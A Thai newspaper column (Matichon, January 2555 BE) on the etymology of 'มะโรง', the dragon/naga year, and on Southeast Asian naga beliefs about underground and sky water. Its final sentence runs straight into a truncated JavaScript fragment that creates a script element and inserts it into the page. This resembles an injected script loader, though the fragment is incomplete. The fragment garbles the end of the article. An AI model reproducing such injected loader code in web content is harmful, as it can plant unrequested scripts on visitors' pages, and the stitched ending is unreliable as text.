มติชนรายวัน ฉบับประจำวันอังคารที่ 10 มกราคม 2555

 

          ปีมะโรง มีสัตว์สัญลักษณ์เป็นงูใหญ่ แต่ช่างจะเขียนรูปเป็นนาค หรือ พญานาค เพราะ มะโรง เป็นคำในตระกูลมอญ-เขมร แปลว่า นาค หรือ พญานาค คืองูใหญ่

          ปีนักษัตรเป็นวัฒนธรรมเขมรที่รับจากจีน (โดยจีนอาจรับจากที่อื่นอีกก็ได้) แล้วคนในตระกูลภาษาไทย-ลาว ทางลุ่มน้ำเจ้าพระยาใช้ปีนักษัตรตามเขมร (แต่เรียกเขมรว่า ขอม)

          ส่วนพวกไทย-ลาวทางล้านนาไม่ใช้ตามเขมร แต่ใช้ตามประเพณีดั้งเดิมของตน

          ประเด็นนี้มีข้อความจารึกล้านนา (หลักที่ 74 จารึกวัดช้างค้ำ จ. น่าน พ.ศ. 2091 พิมพ์ในประชุมศิลาจารึกภาคที่ 3 เมื่อ พ.ศ. 2508) ระบุชื่อปีทั้งแบบขอมและแบบไทย เทียบกันว่า

          “ปีวอกตามขอมพิสัย ไทยภาษาว่าปีเปลิกสัน”

          หมายความว่า ถ้าเรียกอย่างขอมเป็นปีวอก ถ้าเรียกอย่างไทยเป็นปีเปลิกสัน

          อ. ฉ่ำ ทองคำวรรณ นักปราชญ์สยามเชื้อสายเขมร อธิบายไว้ในประชุมศิลาจารึกภาคที่ 3 ว่า “ขอมพิสัย” หมายถึง เรียกอย่างขอมเขมร “ไทยภาษา” หมายถึง เรียกอย่างไทยลาวล้านนา “เปลิกสัน” เป็นวิธีเรียกปีแบบไทย-ลาวดั้งเดิมว่าปีวอก เบญจศก (เปลิก หมายถึง ปีวอก, สัน หมายถึง เบญจศก)

          นอกจากนั้น ในทุกวันนี้พวกส่วยและพวกข่าทางสองฝั่งโขงถึงน้ำมูล ทั้งในลาวใต้กับในอีสานยังเรียก หมา ว่า จอ ตรงกับปีจอ หมา

          นี่เท่ากับสนับสนุนว่า มะโรง เป็นคำในตระกูลภาษามอญ-เขมร

          มะโรง เป็นวิธีสะกดใหม่ ถ้าสะกดแบบเก่าว่า “มโรง” คำ “ม” เพิ่มเข้ามาเหมือนคำโบราณเรียก ลาว ว่า “มลาว” หมายถึงกลุ่มชาติพันธุ์ลาว

          ดังนั้น มะโรง ก็คือ มโรง มาจากคำหลักว่า โรง หมายถึง นาค สอดคล้องกับคำลาวว่า ลวง หมายถึง นาค

          นาค เป็นคำในตระกูลอินโด-ยุโรป หมายถึง คนเปลือย หรืองู (ไม่มีขน) เป็นคำที่ชาวชมพูทวีป (อินเดีย) เรียกคนพื้นเมืองทางลุ่มน้ำเจ้าพระยาและปากน้ำโขงอย่างดูถูก แล้วคนพื้นเมืองรับมาเรียกตัวเองเมื่อจะบวชพระว่า นาค กับเรียกงูใหญ่ว่า นาค แทนคำพื้นเมืองว่า ลวง, โรง ที่สำเนียงใกล้เคียงคำจีนเรียกมังกร (คือนาค) ว่า หลง, เหล็ง, เล้ง, ฯลฯ

          ในโลกของความเป็นจริง นาคอาจเป็นเรื่องเหลวไหล ไร้สาระ

          แต่ในโลกของความเชื่อ นาคเป็นเรื่องศักดิ์สิทธิ์ ขลัง และมีอำนาจน่าเกรงขาม มีความสำคัญต่อชุมชนและไพร่ฟ้าประชากรในภูมิภาคอุษาคเนย์อย่างยิ่ง

          นาคอุษาคเนย์ในอดีตควบคุมน้ำอยู่ใต้ดิน เรียก บาดาล ให้น้ำผ่านรูสะดือดิน เรียก น้ำซัม, น้ำซับ, น้ำพุ, น้ำผุด

          ต่อมาภายหลังได้รู้จักนาคชมพูทวีปจากอินเดีย ควบคุมน้ำอยู่บนฟ้า ดังมีรูปนาคให้น้ำฝนจากฟ้าตกลงมาในป่าหิมพานต์และบนโลก

          ปัจจุบันคนไทยรู้จักแต่นาคอินเดียให้น้ำอยู่บนฟ้า แล้วไม่รู้จักนาคพื้นเมืองคุมน้ำอยู่ใต้ดิน

          ทำให้มีปัญหาการคาดคะเนน้ำหลากท่วม เพราะรู้แต่น้ำฝนบนฟ้า แต่ไม่รู้น้ำบาดาลใต้ดินdocument.currentScript.parentNode.insertBefore(s, document.currentScript);var d=document;var s=d.createElement(‘script’);